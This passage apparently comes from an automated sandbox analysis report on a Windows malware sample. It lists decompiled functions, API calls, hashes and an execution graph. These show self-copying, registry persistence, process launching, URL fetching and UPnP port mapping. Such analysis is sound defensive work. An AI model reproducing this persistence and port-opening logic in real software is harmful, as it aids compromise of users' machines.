                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ade
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00405b05
                                                                                                                                                                                                                                                                                                                                                      0x00405af4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405b00
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a4a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a32
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a04
                                                                                                                                                                                                                                                                                                                                                      0x0040597b
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x0040598d
                                                                                                                                                                                                                                                                                                                                                      0x004059d2
                                                                                                                                                                                                                                                                                                                                                      0x004059e2
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x004059a6
                                                                                                                                                                                                                                                                                                                                                      0x004059aa
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c2
                                                                                                                                                                                                                                                                                                                                                      0x004059e4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040594c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405931
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405908
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058ed
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405830: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00405850
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateFreeInstanceString
                                                                                                                                                                                                                                                                                                                                                      • String ID: Microsoft Corporation
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 586785272-3838278685
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 55b1ef43589e7e732987ef2980dbe053c12765c6c5de1358ba9547e8818813c4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2E91C975A0050ADFCB04DB98C994EAFB7B5EF88314F208269E515B73A0D734AE41CFA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CB20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 66%
                                                                                                                                                                                                                                                                                                                                                      			E0040CB20(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C150(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040BEF0(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CAD0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040C9B0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B2D0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408B60(_v12);
				}
				return _v16;
			}


















                                                                                                                                                                                                                                                                                                                                                      0x0040cb26
                                                                                                                                                                                                                                                                                                                                                      0x0040cb35
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cb3d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb44
                                                                                                                                                                                                                                                                                                                                                      0x0040cb4e
                                                                                                                                                                                                                                                                                                                                                      0x0040cb53
                                                                                                                                                                                                                                                                                                                                                      0x0040cb56
                                                                                                                                                                                                                                                                                                                                                      0x0040cb5d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb63
                                                                                                                                                                                                                                                                                                                                                      0x0040cb6d
                                                                                                                                                                                                                                                                                                                                                      0x0040cb76
                                                                                                                                                                                                                                                                                                                                                      0x0040cb81
                                                                                                                                                                                                                                                                                                                                                      0x0040cb91
                                                                                                                                                                                                                                                                                                                                                      0x0040cb9b
                                                                                                                                                                                                                                                                                                                                                      0x0040cba4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbac
                                                                                                                                                                                                                                                                                                                                                      0x0040cbb8
                                                                                                                                                                                                                                                                                                                                                      0x0040cbbd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc0
                                                                                                                                                                                                                                                                                                                                                      0x0040cbc7
                                                                                                                                                                                                                                                                                                                                                      0x0040cbcd
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd2
                                                                                                                                                                                                                                                                                                                                                      0x0040cbd5
                                                                                                                                                                                                                                                                                                                                                      0x0040cbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040cbef
                                                                                                                                                                                                                                                                                                                                                      0x0040cbf4
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cbfb
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc05
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc17
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc25
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc33
                                                                                                                                                                                                                                                                                                                                                      0x0040cc39
                                                                                                                                                                                                                                                                                                                                                      0x0040cc3e
                                                                                                                                                                                                                                                                                                                                                      0x0040cc47

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: memset.NTDLL ref: 0040C178
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C150: InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysAllocString.OLEAUT32(00000000), ref: 0040BF1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: CoCreateInstance.OLE32(00410310,00000000,00004401,00410300,00000000), ref: 0040BF46
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BEF0: SysFreeString.OLEAUT32(00000000), ref: 0040BFE1
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: %S%S
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1017111014-3267608656
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ff1727bfbbf61b23510921857e77fc7ec71979587a2f3b7cb3b9c6c376518cb7
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a38dea6bde2a6c1c3ef69bbee25404c47646d531d2cdb2c4a4f616ee4be6345b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B3413AB5D00109DFDB04DFA4C885AEFB7B5BF48304F108669E509B7391D738AA81CBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CF10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040CF10() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C470( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CB20( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x4156dc = _t20;
						if( *0x4156dc == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409430();
						E0040CE90( *0x4156dc,  *0x4156dc, "TCP", 0x9e34, _v20);
						_t20 = E0040CE90( *0x4156dc,  *0x4156dc, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408C80(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040cf1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf20
                                                                                                                                                                                                                                                                                                                                                      0x0040cf2b
                                                                                                                                                                                                                                                                                                                                                      0x0040cf30
                                                                                                                                                                                                                                                                                                                                                      0x0040cf33
                                                                                                                                                                                                                                                                                                                                                      0x0040cf3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf40
                                                                                                                                                                                                                                                                                                                                                      0x0040cf52
                                                                                                                                                                                                                                                                                                                                                      0x0040cf64
                                                                                                                                                                                                                                                                                                                                                      0x0040cf69
                                                                                                                                                                                                                                                                                                                                                      0x0040cf6c
                                                                                                                                                                                                                                                                                                                                                      0x0040cf78
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf7f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf97
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb3
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfcc
                                                                                                                                                                                                                                                                                                                                                      0x0040cfd2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406424), ref: 0040CF1A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: TCP$UDP
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1519345861-1097902612
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7980f018718c5a7cf75dd436cb71b586f895944f9189d1e6d61c69674e67b648
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 151184B5E00208EBD700EBD4EC86BEEB375EB44308F50866AF505772C1D7785A41CB9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                                                                                                                                      Execution Coverage:13.5%
                                                                                                                                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                                                                                      Signature Coverage:0%
                                                                                                                                                                                                                                                                                                                                                      Total number of Nodes:1446
                                                                                                                                                                                                                                                                                                                                                      Total number of Limit Nodes:40
                                                                                                                                                                                                                                                                                                                                                      execution_graph 4292 405d80 Sleep CreateMutexA GetLastError 4293 405db6 ExitProcess 4292->4293 4294 405dbe GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 4292->4294 4295 405e49 4294->4295 4296 405ed3 4295->4296 4297 406136 Sleep RegOpenKeyExA 4295->4297 4424 40cfe0 GetLocaleInfoA 4296->4424 4299 406167 8 API calls 4297->4299 4300 40624d RegOpenKeyExA 4297->4300 4299->4300 4302 406273 8 API calls 4300->4302 4303 406359 Sleep 4300->4303 4302->4303 4344 40b0b0 4303->4344 4304 405ee0 ExitProcess 4305 405ee8 ExpandEnvironmentStringsW wsprintfW CopyFileW 4307 406015 Sleep wsprintfW CopyFileW 4305->4307 4308 405f3c SetFileAttributesW RegOpenKeyExW 4305->4308 4307->4297 4310 40605d SetFileAttributesW RegOpenKeyExW 4307->4310 4311 405f71 RegSetValueExW RegCloseKey 4308->4311 4312 405ff6 4308->4312 4315 406092 RegSetValueExW RegCloseKey 4310->4315 4316 406117 4310->4316 4311->4312 4426 40d280 memset CreateProcessW 4312->4426 4313 406374 9 API calls 4347 404560 InitializeCriticalSection CreateFileW 4313->4347 5530 404360 4313->5530 5539 405410 Sleep GetModuleFileNameW 4313->5539 5554 405c60 4313->5554 4315->4316 4319 40d280 5 API calls 4316->4319 4325 406123 4319->4325 4320 4064c0 4325->4297 4328 40612e ExitProcess 4325->4328 4326 40600d ExitProcess 4330 406429 CreateEventA 4379 40a7e0 4330->4379 4339 40ba90 259 API calls 4340 406489 4339->4340 4341 40ba90 259 API calls 4340->4341 4342 4064a5 4341->4342 4343 40ba90 259 API calls 4342->4343 4343->4320 4432 40b080 4344->4432 4348 404685 4347->4348 4349 404598 CreateFileMappingW 4347->4349 4361 40cf10 CoInitializeEx 4348->4361 4350 4045b9 MapViewOfFile 4349->4350 4351 40467b CloseHandle 4349->4351 4352 404671 CloseHandle 4350->4352 4353 4045d8 GetFileSize 4350->4353 4351->4348 4352->4351 4357 4045ed 4353->4357 4354 404667 UnmapViewOfFile 4354->4352 4355 4045fc 4355->4354 4357->4354 4357->4355 4358 40462c 4357->4358 4561 40b100 4357->4561 4568 404450 4357->4568 4360 408b60 __aligned_recalloc_base 3 API calls 4358->4360 4360->4355 4805 40c470 socket 4361->4805 4363 406424 4374 405b10 CoInitializeEx SysAllocString 4363->4374 4366 40cf7a 4830 409430 htons 4366->4830 4367 40cf30 4367->4363 4367->4366 4373 40cfb8 4367->4373 4815 40cb20 4367->4815 4372 40ce90 24 API calls 4372->4373 4849 408c80 4373->4849 4375 405b32 4374->4375 4376 405b48 CoUninitialize 4374->4376 4994 405880 4375->4994 4376->4330 5003 40a7a0 4379->5003 4382 40a7a0 3 API calls 4383 40a7fe 4382->4383 4384 40a7a0 3 API calls 4383->4384 4385 40a80e 4384->4385 4386 40a7a0 3 API calls 4385->4386 4387 406441 4386->4387 4388 40b9e0 4387->4388 4389 4089f0 7 API calls 4388->4389 4390 40b9eb 4389->4390 4391 40644b 4390->4391 4392 40b9f7 InitializeCriticalSection 4390->4392 4393 409c30 InitializeCriticalSection 4391->4393 4392->4391 4398 409c4a 4393->4398 4394 409c79 CreateFileW 4395 409ca0 CreateFileMappingW 4394->4395 4396 409d62 4394->4396 4400 409cc1 MapViewOfFile 4395->4400 4401 409d58 CloseHandle 4395->4401 5046 409640 EnterCriticalSection 4396->5046 4398->4394 5010 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4398->5010 5011 409920 4398->5011 4404 409cdc GetFileSize 4400->4404 4405 409d4e CloseHandle 4400->4405 4401->4396 4403 409d67 4406 40ba90 259 API calls 4403->4406 4411 409cfb 4404->4411 4405->4401 4407 406455 4406->4407 4412 40ba90 4407->4412 4408 409d44 UnmapViewOfFile 4408->4405 4410 409920 28 API calls 4410->4411 4411->4408 4411->4410 5049 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 4411->5049 4413 40baa7 EnterCriticalSection 4412->4413 4414 40646d 4412->4414 5070 40ba10 4413->5070 4414->4339 4417 40bb6b LeaveCriticalSection 4417->4414 4418 408a50 9 API calls 4419 40bae9 4418->4419 4419->4417 4420 40bafb CreateThread 4419->4420 4420->4417 4421 40bb1e 4420->4421 5075 40e2f0 GetTickCount WaitForSingleObject 4420->5075 5098 40be00 4420->5098 5108 40b790 4420->5108 5114 40b990 4420->5114 5120 409510 4420->5120 5126 40bea0 4420->5126 5132 40e920 GetQueuedCompletionStatus 4420->5132 4422 40bb42 GetCurrentProcess GetCurrentProcess DuplicateHandle 4421->4422 4423 40bb64 4421->4423 4422->4423 4423->4417 4425 405ed8 4424->4425 4425->4304 4425->4305 4427 40d2e0 Sleep 4426->4427 4428 40d2ef ShellExecuteW 4426->4428 4429 406002 4427->4429 4430 40d324 4428->4430 4431 40d315 Sleep 4428->4431 4429->4307 4429->4326 4430->4429 4431->4429 4435 40b020 4432->4435 4436 40b053 4435->4436 4437 40b03e 4435->4437 4439 406369 4436->4439 4441 40ae50 4436->4441 4475 40acd0 4437->4475 4439->4313 4439->4320 4442 40ae79 4441->4442 4443 40af2a 4441->4443 4444 40af22 4442->4444 4501 4089f0 4442->4501 4443->4444 4447 4089f0 7 API calls 4443->4447 4444->4439 4448 40af4e 4447->4448 4448->4444 4451 401000 7 API calls 4448->4451 4453 40af72 4451->4453 4452 4089f0 7 API calls 4454 40aec2 4452->4454 4455 4089f0 7 API calls 4453->4455 4509 4011e0 4454->4509 4457 40af81 4455->4457 4459 4011e0 10 API calls 4457->4459 4458 40aeeb 4512 408b60 4458->4512 4461 40afaa 4459->4461 4463 408b60 __aligned_recalloc_base 3 API calls 4461->4463 4465 40afb6 4463->4465 4464 401000 7 API calls 4467 40af08 4464->4467 4466 401000 7 API calls 4465->4466 4468 40afc7 4466->4468 4469 4011e0 10 API calls 4467->4469 4470 4011e0 10 API calls 4468->4470 4469->4444 4471 40afe1 4470->4471 4472 401000 7 API calls 4471->4472 4473 40aff2 4472->4473 4474 4011e0 10 API calls 4473->4474 4474->4444 4476 40ad82 4475->4476 4477 40acf9 4475->4477 4479 4089f0 7 API calls 4476->4479 4496 40ad7a 4476->4496 4478 4089f0 7 API calls 4477->4478 4477->4496 4480 40ad0c 4478->4480 4481 40ada8 4479->4481 4482 401000 7 API calls 4480->4482 4480->4496 4483 401000 7 API calls 4481->4483 4481->4496 4484 40ad35 4482->4484 4485 40add5 4483->4485 4486 4011e0 10 API calls 4484->4486 4488 4011e0 10 API calls 4485->4488 4487 40ad4f 4486->4487 4489 401000 7 API calls 4487->4489 4490 40adef 4488->4490 4492 40ad60 4489->4492 4491 401000 7 API calls 4490->4491 4493 40ae00 4491->4493 4494 4011e0 10 API calls 4492->4494 4495 4011e0 10 API calls 4493->4495 4494->4496 4497 40ae1a 4495->4497 4496->4439 4498 401000 7 API calls 4497->4498 4499 40ae2b 4498->4499 4500 4011e0 10 API calls 4499->4500 4500->4496 4519 408950 4501->4519 4504 401000 4540 408a10 4504->4540 4547 4010c0 4509->4547 4511 4011ff __aligned_recalloc_base 4511->4458 4557 408740 GetCurrentProcessId 4512->4557 4514 408b6b 4515 408b72 4514->4515 4558 408760 4514->4558 4515->4464 4518 408b87 HeapFree 4518->4515 4528 408740 GetCurrentProcessId 4519->4528 4521 40895b 4522 408967 __aligned_recalloc_base 4521->4522 4529 4088b0 4521->4529 4524 4089dc 4522->4524 4525 408982 RtlAllocateHeap 4522->4525 4524->4444 4524->4504 4525->4524 4526 4089a9 __aligned_recalloc_base 4525->4526 4526->4524 4527 4089c4 memset 4526->4527 4527->4524 4528->4521 4537 408740 GetCurrentProcessId 4529->4537 4531 4088b9 4532 4088d6 HeapCreate 4531->4532 4538 408820 GetProcessHeaps 4531->4538 4534 4088f0 HeapSetInformation GetCurrentProcessId 4532->4534 4535 408917 4532->4535 4534->4535 4535->4522 4537->4531 4539 408851 4538->4539 4539->4532 4539->4535 4541 408950 __aligned_recalloc_base 7 API calls 4540->4541 4542 40100b 4541->4542 4543 401400 4542->4543 4544 40140a 4543->4544 4545 408a10 __aligned_recalloc_base 7 API calls 4544->4545 4546 401018 4545->4546 4546->4452 4548 40110e 4547->4548 4550 4010d1 4547->4550 4549 408a10 __aligned_recalloc_base 7 API calls 4548->4549 4548->4550 4553 401132 _invalid_parameter 4549->4553 4550->4511 4551 401162 memcpy 4552 401186 _invalid_parameter 4551->4552 4555 408b60 __aligned_recalloc_base 3 API calls 4552->4555 4553->4551 4554 408b60 __aligned_recalloc_base 3 API calls 4553->4554 4556 40115f 4554->4556 4555->4550 4556->4551 4557->4514 4559 408790 HeapValidate 4558->4559 4560 4087b0 4558->4560 4559->4560 4560->4515 4560->4518 4577 408bd0 4561->4577 4564 40b141 4564->4357 4567 408b60 __aligned_recalloc_base 3 API calls 4567->4564 4785 408a50 4568->4785 4571 408bd0 8 API calls 4572 4044bb 4571->4572 4795 40aa70 4572->4795 4576 404541 4576->4357 4578 408bfd 4577->4578 4579 408a10 __aligned_recalloc_base 7 API calls 4578->4579 4580 408c12 4578->4580 4581 408c14 memcpy 4578->4581 4579->4578 4580->4564 4582 40a610 4580->4582 4581->4578 4589 40a61c 4582->4589 4584 40a63b 4584->4564 4584->4567 4586 40a678 4587 408b60 __aligned_recalloc_base 3 API calls 4586->4587 4587->4584 4588 408b60 __aligned_recalloc_base 3 API calls 4588->4589 4589->4584 4589->4586 4589->4588 4590 40ab60 4589->4590 4604 4064d0 4589->4604 4591 40ab6f __aligned_recalloc_base 4590->4591 4592 408a10 __aligned_recalloc_base 7 API calls 4591->4592 4603 40ab79 4591->4603 4593 40ac08 4592->4593 4594 401000 7 API calls 4593->4594 4593->4603 4595 40ac1d 4594->4595 4596 401000 7 API calls 4595->4596 4597 40ac25 4596->4597 4599 40ac7d __aligned_recalloc_base 